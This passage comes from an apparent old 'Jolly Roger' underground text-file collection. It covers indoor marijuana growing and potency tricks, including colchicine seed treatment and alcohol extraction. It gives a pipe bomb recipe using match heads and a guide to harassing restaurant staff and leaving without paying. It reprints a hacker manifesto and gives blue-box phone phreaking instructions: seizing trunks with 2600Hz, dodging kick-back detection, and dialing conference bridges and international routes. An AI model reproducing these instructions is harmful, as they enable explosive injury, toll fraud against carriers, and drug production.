  5128. The plants will need about 150 ml. of water per plant/per week. They
  5129. will also need fresh air, so the room must be ventilated. (however,
  5130. the fresh air should contain NO TOBACCO smoke.)
  5131. At least eight hours of light a day must be provided. As you increase
  5132. the light, the plants grow faster and show more females/less males.
  5133. Sixteen hours of light per day seems to be the best combination, beyond
  5134. this makes little or no appreciable difference in the plant quality.
  5135. Another idea is to interrupt the night cycle with about one hour of
  5136. light. This gives you more females.
  5137. The walls of your growing room should be painted white or covered with
  5138. aluminum foil to reflect the light.
  5139. The lights themselves can be either bulbs of fluorescent. Figure about
  5140. 75 watts per plant or one plant per two feet of flouresent tube.
  5141. The fluorescents are the best, but do not use "cool white" types. The
  5142. light sources should be an average of twenty inches from the
  5143. plant and NEVER closer than 14 inches. They may be mounted on a rack
  5144.  and moved every few days as the plants grow.
  5145. The very best light sources are those made by Sylvania and others
  5146. especially for growing plants (such as the "gro lux" types).
  5147.                        HARVESTING AND DRYING
  5148. The male plants will be taller and have about five green or yellow sepals,
  5149. which will split open to fertilize the female plant with pollen.
  5150. The female plant is shorter and has a small pistillate flower, which
  5151. really doesn't look like a flower at all but rather a small bunch of
  5152. leaves in a cluster.
  5153. If you don't want any seeds, just good dope, you should pick the males
  5154. before they shed their pollen as the female will use some of her resin
  5155. to make the seeds.
  5156. After another three to five weeks, after the males are gone, the females
  5157. will begin to wither and die (from loneliness?), this is the time to pick.
  5158. In some nefarious Middle Eastren countries, farmers reportedly put their
  5159. beehives next to fiels of marijuana. The little devils collect the grass
  5160. pollen for their honey, which is supposed to contain a fair dosage
  5161. of THC.
  5162. The honey is then enjoyed by conventional methods or made into ambrosia.
  5163. If you want seeds - let the males shed his pollen then pick him. Let
  5164.  
  5165.  
  5166. the female go another month and pick her.
  5167. To cure the plants, they must be dried. On large crops, this is
  5168. accomplished by constructing a drying box or drying room.
  5169. You must have a heat source (such as an electric heater) which will make
  5170. the box/room each 130 degrees. The box/room must be ventilated
  5171. to carry off the water-vapor-laden air and replace it with fresh.
  5172. A good box can be constructed from an orange crate with fiberglass
  5173. insulated walls, vents in the tops, and screen shelves to hold the leaves.
  5174. There must be a baffle between the leaves and the heat source.
  5175. A quick cure for smaller amounts is to: cut the plant at the soil level
  5176. and wrap it in a cloth so as not to loose any leavs. Take out any seeds
  5177. by hand and store. Place all the leaves on a cookie sheet or aluminum
  5178. foil and put them in the middle sheld of the oven, which is set on "broil."
  5179. In a few seconds, the leaves will smoke and curl up, stir them around and
  5180. give another ten seconds before you take them out.
  5181.                     TO INCREASE THE GOOD STUFF
  5182. There are several tricks to increase the number of females, or the THC
  5183. content of plants:
  5184. You can make the plants mature in 36 days if you are in a hurry, by cutting
  5185. back on the light to about 14 hours, but the plants will not be as big.
  5186. You should gradually shorten the light cycle until you reach fourteen
  5187. hours.
  5188. You can stop any watering as the plants begin to bake the resin rise to
  5189. the flowers. This will increse the resin a bit.
  5190. You can use a sunlamp on the plants as they begin to develop flower stalks.
  5191. You can snip off the flower, right at the spot where it joins the plant,
  5192. and a new flower will form in a couple of weeks.
  5193. This can be repeated two or three times to get several times more flowers
  5194. than usual.
  5195. If the plants are sprayed with Ethrel early in their growing stage, they
  5196. will produce almost all female plants. This usually speeds up the flowering
  5197. also, it may happen in as little as two weeks.
  5198. You can employ a growth changer called colchicine. This is a bit hard to
  5199. get and expensive. (Should be ordered through a lab of some sort and
  5200. costs about $35 a gram.)
  5201. To use the colchicine, you should prepare your presoaking solution of
  5202. distilled water with about 0.10 per cent colchicine. This will cause
  5203. many of the seeds to die and not germinate, but the ones that do come
  5204. up will be polyploid plants. This is the accepted difference between
  5205. such strains as "gold" and normal grass, and yours will DEFINITELY
  5206. be superweed.
  5207. The problem here is that colchicine is a posion in larger quanities and
  5208. may be poisonous in the first generation of plants. Bill Frake, author
  5209. of CONNOISSEUR'S HANDBOOK OF MARIJUANA runs a very complete colchicine
  5210. treatment down and warns against smoking the first generation plants
  5211. (all succeeding generations will also be polyploid) bacause of this
  5212. poisonous quality.
  5213. However, the Medical Index shows colchicine being given in very small
  5214. quantities to people for treatment if various ailments. Although these
  5215. quantities are small, they would appear to be larger than any you could
  5216. recive form smoaking a seed-treated plant.
  5217. It would be a good idea to buy a copy of CONNOISSEUR'S, if you are planning
  5218. to attempt this, and read Mr. Drake's complete instructions.
  5219. Another still-experimental process to increase the resin it to pinch off
  5220. the leaf tips as soon as they appear from the time the plant is in the
  5221. seedling stage on through its entire life-span. This produces a distorted,
  5222. wrecked-looking plant which would be very difficuly to recognize as
  5223. marijuana. Of course, there is less substance to this plant, but such
  5224.  
  5225.  
  5226. wrecked creatures have been known to produve so much resin that it
  5227. crystallizes a strong hash all over the surface of the plant - might
  5228. be wise to try it on a plant or two and see what happens.
  5229.                         PLANT PROBLEM CHART
  5230. Always check the overall enviromental conditions prior to passing
  5231. judgment - soil aroung 7 pH or slightly less - plenty of water, light,
  5232. fresh air, loose soil, no water standing in pools.
  5233.         SYMPTOM                       PROBABLY PROBLEM/CURE
  5234. Larger leaves turning yellow -      Nitrogen dificiency - add
  5235. smaller leaves still green.         nitrate of soda or
  5236.                                     organic fertilizer.
  5237. Older leaves will curl at edges,    Phosphorsus dificiency -
  5238. turn dark, possibaly with a purple  add commercial phosphate.
  5239. cast.
  5240. Mature leaves develop a yellowish   Magnesium dificiency -
  5241. cast to least veinal areas.         add commercial fertilizer
  5242.                                     with a magnesium content.
  5243. Mature leaves turn yellow and then  Potassium dificiency -
  5244. become spotted with edge areas      add muriate of potash.
  5245. turning dark grey.
  5246. Cracked stems, no healthy support   Boron dificiency - add
  5247. tissue.                             any plant food containing
  5248.                                     boron.
  5249. Small wrinkled leaves with          Zinc dificiency - add
  5250. yelloish vein systems.              commercial plant food
  5251.                                     containing zinc.
  5252. Young leaves become deformed,       Molybedum dificiency -
  5253. possibaly yellowing.                use any plant food with a
  5254.                                     bit of molydbenum in it.
  5255.                          EXTRA SECTION:
  5256.                        BAD WEED/GOOD WEED
  5257. Can you turn bad weed into good weed? Surprisingly enough, the answer
  5258. to this oft-asked inquiry is, yes!
  5259. Like most other things in life, the amount of good you are going
  5260. to do relates directly to how much effort you are going to put into it.
  5261. There are no instant, supermarket products which you can spray on Kansas
  5262. catnip and have wonderweed, but there are a number of simplified,
  5263. inexpensive processes (Gee, Mr. Wizard!) thich will enhance mediocre
  5264. grass somewhat, ant there are a couple of fairly involved processes
  5265. which will do up even almost-parsley weed into something worth writing
  5266. home about.
  5267.                                    EASES
  5268. 1. Place the dope in a container which allows air to enter in a restricted
  5269. fashion (such as a can with nail holes punched in its lid) and add a
  5270. bunch of dry ice, and the place the whold shebang in the freezer for a
  5271. few days. This process will add a certain amount of potency to the product,
  5272. however, this only works with dry ice, if you use normal, everyday
  5273. freezer ice, you will end up with a soggy mess...
  5274. 2. Take a quantity of grass and dampen it, place in a baggie or another
  5275. socially acceptable container, and store it in a dark, dampish place
  5276. for a couple of weeks (burying it also seems to work). The grass will
  5277. develop a mold which tastes a bit harsh, a and burns a tiny bit funny,
  5278. but does increase the potency.
  5279. 3. Expose the grass to the high intensity light of a sunlamp for a full
  5280. day or so. Personally, I don't feel that this is worth the effort, but
  5281. if you just spent $400 of your friend's money for this brick of
  5282. super-Colombian, right-from-the-President's-personal-stash,
  5283. and it turns out to be Missouri weed, and you're packing your bags to
  5284.  
  5285.  
  5286. leave town before the people arrive for their shares, well, you might
  5287. at least try it. Can't hurt.
  5288. 4. Take the undisirable portions of our stash (stems, seeds, weak weed,
  5289. worms, etc.) and place them in a covered pot, with enough rubbing
  5290. alchol to cover everything.
  5291. Now CAREFULLY boil the mixture on an ELECTRIC stove or lab burner. DO
  5292. NOT USE GAS - the alchol is too flammable. After 45 minutes of heat,
  5293. remove the pot and strain the solids out, SAVING THE ALCOHOL.
  5294. Now, repeat the process with the same residuals, but fresh alchol.
  5295. When the second boil is over, remove the solids again, combine the two
  5296. quantities of alcohol and reboil until you have a syrupy mixture.
  5297. Now, this syrupy mixture will contain much of the THC formerly hidden
  5298. in the stems and such. One simply takes this syrup the throughly
  5299. combines it with the grass that one wishes to improve upon.
  5300.           SPECIAL SECTION ON RELATED SUBJECT MARYGIN:
  5301. Marygin is an anagram of the words marijuana and gin, as in Eli Whitney.
  5302. It is a plastic tumbler which acts much like a commercial cottin gin.
  5303. One takes about one ounce of an harb and breaks it up. This is then placed
  5304. in the Marygin and the protuding knod is roatated. This action turns
  5305. the internal wheel, which separates the grass from the debris (seeds,
  5306. stems).
  5307. It does not pulberize the grass as screens have a habit of doing and is
  5308. easily washable.
  5309. Marygin is available from:
  5310.      P.O. Box 5827
  5311.      Tuscon, Arizona 85703
  5312.      $5.00
  5313.  
  5314.      GRASS
  5315.      Edmund Scientific Company
  5316.      555 Edscorp Building
  5317.      Barrington, New Jersy 08007
  5318.      Free Catalog is a wonder of good things for the potential grass
  5319. grower. They have an electric thermostat greenhouse for starting
  5320. plants for a mere $14.95.
  5321. Soil test kits for PH - $2.40
  5322. Al test - $9.95
  5323. Soil thermometer - $2.75
  5324. Lights which approzimate the true color balance of the sun and are
  5325. probably the most beneficial types available: 40 watt, 48 inch - 4 for
  5326. $15.75.
  5327. Indoor sun bulb, 75 or 150 watt - $5.75.
  5328. And, they have a natural growth regualtor for plants (Gibberellin) which
  5329. can change height, speed growth, and maturity, promote blossoming,
  5330. etc. Each plant reacts differently to treatment with Gibberellin...there's
  5331. no fun like experimenting - $2.00
  5332.                         SUGGESTED READING
  5333. THE CONNOISSEUR'S HANDBOOK OF MARIJUANA, Bill Drake
  5334. Straight Arrow Publishing - $3.50
  5335. 625 Third Street
  5336. San Francisco, California
  5337.  
  5338. FLASH
  5339. P.O.Box 16098
  5340. San Fransicso, California 94116
  5341. Stocks a series of pamphlets on grass, dope manufacture, cooking.
  5342. Includes the Mary Jane Superweed series.
  5343.  
  5344.  
  5345.  
  5346. Match Head Bomb                                 by the Jolly Roger
  5347.  
  5348. Simple safety match heads in a pipe, capped at both ends, make a
  5349. devestating bomb. It is set off with a regular fuse.
  5350. A plastic Baggie is put into the pipe before the heads go in to
  5351. prevent detonation by contact with the metal.
  5352. Cutting enough match heads to fill the pipe can be tedious work for
  5353. one but an evening's fun for the family if you can drag them away from
  5354. the TV.
  5355.                            ----------------Jolly Roger
  5356.  
  5357.  
  5358. How To Terrorize McDonalds                       by the Jolly Roger
  5359.      (Originally an Apple ][ file so excuse the upper case!!!)
  5360.  
  5361. NOW, ALTHOUGH Mc DONALDS IS FAMOUS FOR IT'S ADVERTISING AND MAKING THE
  5362. WHOLE WORLD THINK THAT THE BIG MAC IS THE BEST THING TO COME ALONG SINCE
  5363. SLICED BREAD (BUNS?), EACH LITTLE RESTAURANT IS AS AMATEUR AND SIMPLE AS
  5364. A NEW-FOUND BUSNESS. NOT ONLY ARE ALL THE EMPLOYEES RATHER INEXPERIENCED
  5365. AT WHAT THEY'RE =SUPPOSED= TO DO, BUT THEY WILL JUST LOOSE ALL CONTROL WHEN
  5366. AN EMERGENCY OCCURS....HERE WE GO!!! FIRST, GET A FEW FRIENDS (4 IS
  5367. GOOD...I'LL GET TO THIS LATER) AND ENTER THE MCDONALDS RESTAURANT, TALKING
  5368. LOUDLY AND REAKING OF SOME STRANGE SMELL THAT AUTOMATICALLY MAKES THE OLD
  5369. COUPLE SITTING BY THE DOOR LEAVE. IF ONE OF THOSE PIMPLY-FACED GOONS IS
  5370. WIPING THE FLOOR, THEN TRACK SOME CRAP ALL OVER IT (YOU COULD PRETEND TO
  5371. SLIP AND BREAK YOUR HEAD, BUT YOU MIGHT ACTUALLY DO SO).
  5372. NEXT, BEFORE YOU GET THE FOOD, FIND A TABLE. START YELLING AND RELEASING
  5373. SOME STRANGE BODY ODOR SO =ANYBODY= WOULD LEAVE THEIR TABLE AND WALK OUT
  5374. THE DOOR. SIT 2 FRIENDS THERE, AND GO UP TO THE COUNTER WITH ANOTHER.
  5375. FIND A PLACE WHERE THE LINE IS SHORT, OR IF THE LINE IS LONG SAY "I ONLY
  5376. WANNA BUY A COKE" AND YOU GET MOVED UP. NOW, YOU GET TO DO THE =ORDERING=
  5377. ...HEH HEH HEH. SOMEBODY =ALWAYS= MUST WANT A PLAIN
  5378. HAMBURGER WITH ABSOLUTELY NOTHING ON IT (THIS TAKES EXTRA TIME TO MAKE, AND
  5379. DRIVES THE LITTLE HAMBURGER-MAKERS INSANE)..ORDER A 9-PACK OF CHICKEN
  5380. MCNUGGETS...NO, A 20 PACK...NO, THREE 6 PACKS...WAIT...GO BACK TO THE TABLE
  5381. AND ASK WHO WANTS WHAT. YOUR OTHER FRIEND WAITS BY THE COUNTER AND MAKES A
  5382. PASS AT THE FEMALE CLERK. GET BACK TO THE THING AND ORDER THREE 6-PACKS OF
  5383. CHICKEN ETC....NOW SHE SAYS "WHAT KIND OF SAUCE WOULD YOU LIKE?".OF COURSE,
  5384. SAY THAT YOU ALL WANT BARBECUE SAUCE ONE OF YOUR FRIENDS WANTS 2 (ONLY IF
  5385. THERE ARE ONLY 2 CONTAINERS OF BARBECUE SAUCE LEFT).THEN THEY HAFTA GO INTO
  5386. THE STOREROOM AND OPEN UP ANOTHER BOX. FINALLY, THE DRINKS...SOMEBODY WANTS
  5387. COKE, SOMEBODY ROOT BEER, AND SOMEBODY DIET COKE. AFTER THESE ARE
  5388. DELIVERED,
  5389. BRING THEM BACK AND SAY "I DIDN'T ORDER A DIET COKE! I ORDERED A SPRITE!"
  5390. THIS GETS THEM MAD; BETTER YET, TURN DOWN SOMETHING TERRIBLE THAT NOBODY
  5391. WANTS TO DRINK, SO THEY HAFTA THROW THE DRINK AWAY; THEY CAN'T SELL IT.
  5392. AFTER ALL THE FOOD(?) IS HANDED TO YOU, YOU MUST =NEVER= HAVE ENOUGH MONEY
  5393. TO PAY. THE CLERK WILL BE SO ANGRY AND CONFUSED THAT SHE'LL LET YA GET
  5394. AWAY WITH IT (ANOTHER INFLUENCE ON HER IS YOUR FRIEND ASKING HER "IF YOU
  5395. LET US GO I'LL GO OUT WITH YOU" AND GIVING HER A FAKE FONE NUMBER).
  5396. NOW, BACK TO YOUR TABLE. BUT FIRST, SOMEBODY LIKES KETCHUP AND MUSTARD.
  5397. AND PLENTY (TOO MUCH) OF NAPKINS. OH, AND SOMEBODY LIKES FORKS AND KNIVES,
  5398. SO ALWAYS END UP BREAKING THE ONES YOU PICK OUTTA THE BOX. HAVE YOUR
  5399. FRIENDS YELL OUT,"YAY!!!!! WE HAVE MUNCHIES!!" AS LOUD AS THEY CAN.
  5400. THAT'LL WORRY THE ENTIRE RESTAURANT. PROCEED TO SIT DOWN. SO, YOU ARE
  5401. SITTING IN THE SMOKING SECTION (BY ACCIDENT) EH? WELL, WHILE ONE OF THE
  5402. TOBACCO-BREATHERS ISN'T LOOKING, PUT A SIGN FROM THE OTHER SIDE OF THE
  5403. ROOM SAYING "DO NOT SMOKE HERE" AND HE'LL HAFTA MOVE...THEN HE GOES INTO
  5404.  
  5405.  
  5406. THE REAL NON-SMOKING SECTION, AND GETS YELLED AT. HE THEN THINKS THAT
  5407. NO SMOKING IS ALLOWED IN THE RESTAURANT, SO HE EATS OUTSIDE (IN THE POUR-
  5408. ING RAIN) AFTER YOUR MEAL IS FINISHED (AND QUITE A FEW SPLATTERED-OPENED
  5409. KETCHUP PACKETS ARE ALL OVER YER TABLE), TRY TO LEAVE. BUT OOPS! SOMEBODY
  5410. HAS TO DO HIS DUTY IN THE MEN'S ROOM. AS HE GOES THERE, HE STICKS AN
  5411. UNEATED HAMBURGGR (WOULD YOU DARE TO EAT ONE OF THEIR HAMBURGERS?)
  5412. INSIDE THE TOILET, FLUSHES IT A WHILE,UNTIL IT RUNS ALL OVER THE BATHROOM.
  5413. OOPS! SEND A PIMPLY-FACED TEENAGER TO CLEAN IT UP. (HE WON'T KNOW THAT
  5414. BROWN THING IS A HAMBURGER, AND HE'LL GET SICK. WHEEE!)
  5415. AS YOU LEAVE THE RESTCURANT, LOOKING BACK AT YOUR UNCLEANED TABLE, SOMEBODY
  5416. MUST REMEMBER THAT THEY LEFT THEIR CHOCOLATE SHAKE THERE! THE ONE THAT'S
  5417. ALMOST FULL!!!! HE TAKES IT THEN SAYS "THIS TASTES LIKE CRAP!", THEN HE
  5418. TAKES OFF THE LID AND THROWS IT INTO THE GARBAGE CAN...OOPS! HE MISSED,
  5419. AND NOW THE SAME POOR SOUL WHO'S CLEANING UP THE BATHROOM NOW HASTA CLEAN
  5420. UP CHOCOLATE SHAKE. THEN LEAVE THE JOINT, REVERSING THE "YES, WE'RE OPEN"
  5421. SIGN (AS A REMINDER OF YER VISIT THERE YOU HAVE IT! YOU HAVE JUST PUT
  5422. ALL OF MCDONALDS INTO COMPLETE MAYHEM. AND SINCE THERE IS NO PENALTY FOR
  5423. LITTERING IN A RESTAURANT, BUGGING PEOPLE IN A PUBLIC EATERY (OR
  5424. THROW-UPERY, IN THIS CASE) YOU GET OFF SCOT-FREE. WASN'T THAT FUN?
  5425.  
  5426.                                 --------------Jolly Roger
  5427.  
  5428. "Mentor's Last Words"                  courtesy of the Jolly Roger
  5429.  
  5430. The following file is being reprinted in honor and sympathy for the many
  5431. phreaks and hackers that have been busted recently by the Secret Service.
  5432. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  5433.                   \/\The Conscience of a Hacker/\
  5434. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  5435.       Another one got caught today, it's all over the papers.  "Teenager
  5436. Arrested in Computer Crime Scandal", "Hacker Arrested after Bank
  5437. Tampering"... Damn kids.  They're all alike. But did you, in your three-
  5438. piece psychology and 1950's technobrain, ever take a look behind the
  5439. eyes of the hacker?  Did you ever wonder what made him tick, what forces
  5440. shaped him, what may have molded him? I am a hacker, enter my world...
  5441. Mine is a world that begins with school... I'm smarter than most of the
  5442. other kids, this crap they teach us bores me...  Damn underachiever.
  5443. They're all alike. I'm in junior high or high school.  I've listened to
  5444. teachers explain for the fifteenth time how to reduce a fraction.
  5445. I understand it.  "No, Ms. Smith, I didn't show my work.  I did it in
  5446. my head..." Damn kid.  Probably copied it.  They're all alike.
  5447. I made a discovery today.  I found a computer.  Wait a second, this is
  5448. cool.  It does what I want it to.  If it makes a mistake, it's because I
  5449. screwed it up.  Not because it doesn't like me...  Or feels threatened by
  5450. me.. Or thinks I'm a smart ass.. Or doesn't like teaching and shouldn't be
  5451. here... Damn kid.  All he does is play games.  They're all alike. And then
  5452. it happened... a door opened to a world... rushing through the phone line
  5453. like heroin through an addict's veins, an electronic pulse is sent out,
  5454. a refuge from the day-to-day incompetencies is sought... a board is found.
  5455. "This is it... this is where I belong..." I know everyone here... even
  5456. if I've never met them, never talked to them, may never hear from them
  5457. again... I know you all... Damn kid.  Tying up the phone line again.
  5458. They're all alike... You bet your ass we're all alike... we've been
  5459. spoon-fed baby food at school when we hungered for steak... the bits of
  5460. meat that you did let slip through were pre-chewed and tasteless.
  5461. We've been dominated by sadists, or ignored by the apathetic.  The few
  5462. that had something to teach found us willing pupils, but those few are
  5463. like drops of water in the desert.
  5464.  
  5465.  
  5466.    This is our world now... the world of the electron and the switch, the
  5467. beauty of the baud.  We make use of a service already existing without
  5468. paying for what could be dirt-cheap if it wasn't run by profiteering
  5469. gluttons, and you call us criminals.  We explore... and you call us
  5470. criminals.  We seek after knowledge... and you call us criminals.  We
  5471. exist without skin color, without nationality, without religious bias...
  5472. and you call us criminals. You build atomic bombs, you wage wars, you
  5473. murder, cheat, and lie to us and try to make us believe it's for our
  5474. own good, yet we're the criminals.
  5475.    Yes, I am a criminal.  My crime is that of curiosity.  My crime is
  5476. that of judging people by what they say and think, not what they look like.
  5477. My crime is that of outsmarting you, something that you will never
  5478. forgive me for. I am a hacker, and this is my manifesto.  You may stop
  5479. this individual,but you can't stop us all... after all, we're all alike.
  5480.                             +++The Mentor+++
  5481. [May the members of the phreak community never forget his words -JR]
  5482.  
  5483. The Myth of the 2600hz Detector        courtesy of the Jolly Roger
  5484.     (Imported from the Apple ][ so forgive the upper case!!)
  5485.  
  5486. JUST ABOUT EVERYONE I TALK TO THESE DAYS ABOUT ESS SEEMS TO BE SCARED
  5487. WITLESS ABOUT THE 2600HZ DETECTOR. I DON'T KNOW WHO THOUGHT THIS ONE UP,
  5488. BUT IT SIMPLY DOES NOT EXIST. SO MANY OF YOU PEOPLE WHINE ABOUT THIS SO
  5489. -CALLED PHREAK CATCHING DEVICE FOR NO REASON.
  5490. SOMEONE WITH AT&T SAID THEY HAD IT TO CATCH PHREAKERS.  THIS WAS JUST TO
  5491. SCARE THE BLUE-BOXERS ENOUGH TO MAKE THEM QUIT BOXING FREE CALLS.
  5492. I'M NOT SAYING ESS IS WITHOUT ITS HANG-UPS, EITHER. ONE THING THAT ESS CAN
  5493. DETECT READILY IS THE KICK-BACK THAT THE TRUNK CIRCUITRY SENDS BACK TO THE
  5494. ESS MACHINE WHEN YOUR LITTLE 2600HZ TONE RESETS THE TOLL TRUNK. AFTER AN
  5495. ESS DETECTS A KICKBACK IT TURNS AN M-F DETECTOR ON AND RECORDES ANY M-F
  5496. TONES X-MITTED.
  5497.  
  5498. ---------------------------------------
  5499.    DEFEATING THE KICK-BACK DETECTOR
  5500.    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  5501.  
  5502. AS MENTIONED IN MY PREVIOUS NOTE, KICK-BACK DETECTION CAN BE A SERIOUS
  5503. NUISANCE TO ANYONE INTERESTED IN GAINING CONTROL OF A TRUNK LINE.
  5504. THE EASIEST WAY TO BY-PASS THIS DETECTION CIRCUITRY IS NOT REALLY
  5505. BY-PASSING IT AT ALL, IT IS JUST LETTING THE KICK-BACK GET DETECTED ON
  5506. SOME OTHER LINE. THIS OTHER LINE IS YOUR LOCAL MCI, SPRINT, OR OTHER LONG
  5507. DISTANCE CARRIER (EXCEPT AT&T).  THE ONLY CATCH IS THAT THE SERVICE
  5508. YOU USE MUST NOT DISCONNECT THE LINE WHEN YOU HIT THE 2600HZ TONE.
  5509. THIS IS HOW YOU DO IT:  CALL UP YOUR LOCAL EXTENDER, PUT IN THE CODE,
  5510. AND DIAL A NUMBER IN THE 601 AREA CODE AND THE 644 EXCHANGE. LOTS OF OTHER
  5511. EXCHANGES WORK ACROSS THE COUNTRY, I'M SURE, BUT THIS IS THE ONLY ONE
  5512. THAT I HAVE FOUND SO FAR.  ANYWAY, WHEN IT STARTS RINGING, SIMPLY HIT
  5513. 2600HZ AND YOU'LL HEAR THE KICK-BACK, (KA-CHIRP, OR WHATEVER). THEN YOU ARE
  5514. READY TO DIAL WHOEVER YOU WANT (CONFERENCES, INWARD, ROUTE AND RATE,
  5515. OVERSEAS, ETC.) FROM THE TRUNK LINE IN OPERATOR TONES! SINCE BLOWING
  5516. 2600HZ DOESN'T MAKE YOU YOU A PHREAKER UNTIL THE TOLL EQUIPMENT RESETS
  5517. THE LINE, KICKBACK DETECTION IS THE METHOD AT&T CHOOSES (FOR NOW)
  5518. THIS INFORMATION COMES AS A RESULT OF MY EXPERIMENTS & EXPERIENCE AND
  5519. HAS BEEN VERIFIED BY LOCAL AT&T EMPLOYEES I HAVE AS ACQUAINTANCES.
  5520. THEY COULD ONLY SAY THAT THIS IS TRUE FOR MY AREA, BUT WERE PRETTY SURE
  5521. THAT THE SAME IDEA IS IMPLEMENTED ACROSS THE COUNTRY.
  5522.  
  5523. =======================================
  5524.  
  5525.  
  5526. çNOW THAT YOU KNOW HOW TO ACCESS A TRUNK LINE OR AS OPERATORS SAY A LOOP, I
  5527. WILL TELL YOU THE MANY THINGS YOU CAN DO WITH IT.
  5528. HERE IS A LIST OF AT&T SERVICES ACCESSIBLE TO YOU BY USING A BLUE BOX.
  5529.  
  5530. A/C+101    TOLL SWITCHING
  5531. A/C+121    INWARD OPERATOR
  5532. A/C+131    INFORMATION
  5533. A/C+141    ROUTE & RATE OP.
  5534. A/C+11501  MOBILE OPERATOR
  5535. A/C+11521  MOBILE OPERATOR
  5536.  
  5537. STARTING CONFERANCES:---------------------
  5538.  
  5539. THIS IS ONE THE MOST USEFUL ATTRIBUTES OF BLUE BOXING. NOW THE CONFS.
  5540. ARE UP 24 HOURS/DAY AND 7 DAYS/WEEK AND THE BILLING LINES ARE BEING
  5541. BILLED.
  5542. SINCE I BELEIVE THE ABOVE IS TRUE (ABOUT THE BILLING LINES BEING BILLED)
  5543. I WOULD RECOMMEND THAT YOU NEVER LET YOUR # SHOW UP ON THE CONF. IF YOU
  5544. STARTED IT, PUT IT ON A LOOP AND THEN CALL THE LOOP. ENOUGH
  5545. BULLSHIT!!!!! TO START THE CONF. DIAL ONE OF THESE THREE NUMBERS IN
  5546. M-F WHILE YOU ARE ON THE TRUNK.
  5547. 213+080+XXXX
  5548. XXXX=1050,3050
  5549. SPECIAL XXXX=1000,1100,1200,1500,2200,2500.
  5550. THESE #S ARE IN L.A. AND ARE THE MOST WATCHED, I DO NOT ADVISE USING THIS
  5551. NPA.
  5552. 312+001+1050 OR 3050
  5553. 914+042+1050 OR 1100,1200 ECT..
  5554. ***************************************
  5555. UPDATE, I BELEIVE ONLY 914 WORKS AT THE MOMENT
  5556. ***************************************
  5557. ONCE CONNECTED WITH ONE OF THESE YOU WILL EITHER HEAR A RE-ORDER,
  5558. BUSY, OR CHERP. WHEN YOU HEAR THE CHERP ENTER THE BILLING LINE IN M-F.
  5559. I USE THE CONF. DIAL- UP.
  5560. A BILLING LINE EXAMPLE: KP312+001+1050ST
  5561. YOU WILL THEN HEAR TWO TUTES AND A RECORDING ASKING YOU FOR THE # OF
  5562. CONFERREES INCLUDING YOURSELF.  ENTER A # BETWEEN 20 AND 30.
  5563. IF YOU EVER GET OVER 30 PEOPLE ON A CONFERANCE ALL YOU WILL HEAR IS
  5564. JUMBLED VOICES.  AFTER THE IT SAYS
  5565. "YOUR CONFERANCE SIZE IS XX" THEN HIT # SIGN.  ADD YOUR FAVORITE LOOP
  5566. ON AND HIT 6 TO TRANSFER CONTROL TO IT. AFTER IT SAYS CONTROL WILL BE
  5567. TRANSFERED HANG UP AND CALL THE OTHER SIDE OF THE LOOP,
  5568. HIT # SIGN AND FOLLOW THE INSTRUCTIONS. A BONUS FOR CONF. IS TO ADD AN
  5569. INTERNATIONAL # DIAL 1+011+CC+NUMBER PRETTY COOL EHHH.
  5570. A FEW EXTRA NOTES.
  5571. DO NOT ADD #S THAT YOU WILL WANT TO HANG UP, ADD THESE THROUGH MCI OR
  5572. SPRINT. YOU CANNOT BLOW ANYONE OFF W/2600HZ UNLESS THEY ARE IN AN
  5573. OLD X-BAR OR OLDER SYSTEM.
  5574. MANY D.A. OPERATORS WILL STAY ON AFTER YOU ABUSE THEM; YOU MAY HAVE TO
  5575. START ANOTHER OR AT LEAST DON'T SAY ANY NUMBERS.
  5576. NEVER ADD THE TONE SIDE OF A LOOP ONTO A CONF.
  5577. NEVER ADD MORE THAN ONE MCI NODE ON YOUR CONF.
  5578. ROUTE & RATE:
  5579. -------------
  5580. NOTE ROUTE & RATE AND RQS PERFORM THE SAME SERVICE.
  5581. R&R SIMPLY TELLS YOU ROUTE AND RATE INFO WHICH IS VERY VALUBLE, EX.
  5582. SUCH AS THE INWARD ROUTING FOR AN EXCHANGE IN AN AREA CODE.
  5583. AN INWARD ROUTING WILL LET YOU CALL HER AND SHE CAN DO AN EMERGENCY
  5584.  
  5585.  
  5586. INTERUPT FOR YOU. SHE CAN TELL YOU HOW TO GET INTERNATIONAL OPERATORS,ECT.
  5587. HERE ARE THE TERMS YOU ARE REQUIRED TO USE:
  5588. INTERNATIONAL,
  5589. -OPERATOR ROUTE FOR [COUNTRY, CITY]. *GIVES YOU INWARD OP.
  5590. -DIRECTORY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU DIRECTORY ASS.
  5591. -CITY ROUTE FOR [COUNTRY, CITY]. *GIVES YOU COUNTRY AND CITY CODE.
  5592. OPERATOR ROUTE FOR [A/C]+ [EXCHANGE] *GIVES YOU INWARD OP. ROUTE
  5593. EX. [A/C]+ OR [A/C]+0XX+ WHEN SHE SAYS PLUS SHE MEANS PLUS 121.
  5594. NUMBERS ROUTE FOR [STATE, CITY] *GIVES YOU A/C.
  5595. PLACE NAME [A/C]+[EXCHANGE] *GIVES YOU CITY/STATE FOR THAT A/C AND
  5596. EXCHANGE.
  5597. INTERNATIONAL CALLS:
  5598. --------------------
  5599. TO CALL INTERNATIONAL OVER CABLE SIMPLY ACCESS A TRUNK AND DIAL
  5600. KP011XXXST WAIT FOR SENDER TONE, KPXXXCC-NUMBERST
  5601. XXX - A 3 DIGIT COUNTRY CODE, IT MAY NOT BE 3 DIGITS SO JUST PUT
  5602. 1 OR 2 0'S IN FRONT OF IT. CC - IS THE CITY CODE
  5603. TO GO BY SATELLITE:
  5604. DIAL KP18XST    X - NUMBERS 2-8 WAIT FOR SENDER TONE THEN
  5605. KPXXXCCNUMBERST
  5606.  
  5607. Blue Box                               courtesy of the Jolly Roger
  5608.  
  5609. To quote Karl Marx, blue boxing has always been the most noble form of
  5610. phreaking. As opposed to such things as using an MCI code to make a free
  5611. fone call, which is merely mindless pseudo-phreaking, blue boxing
  5612. is actual interaction with the Bell System toll network.
  5613. It is likewise advisable to be more cautious when blue boxing, but the
  5614. careful phreak will not be caught, regardless of what type of switching
  5615. system he is under.
  5616. In this part, I will explain how and why blue boxing works, as well as
  5617. where. In later parts, I will give more practical information for blue
  5618. boxing and routing information. To begin with, blue boxing is simply
  5619. communicating with trunks. Trunks must not be confused with subscriber
  5620. lines (or "customer loops") which are standard telefone lines. Trunks are
  5621. those lines that connect central offices. Now, when trunks are not in
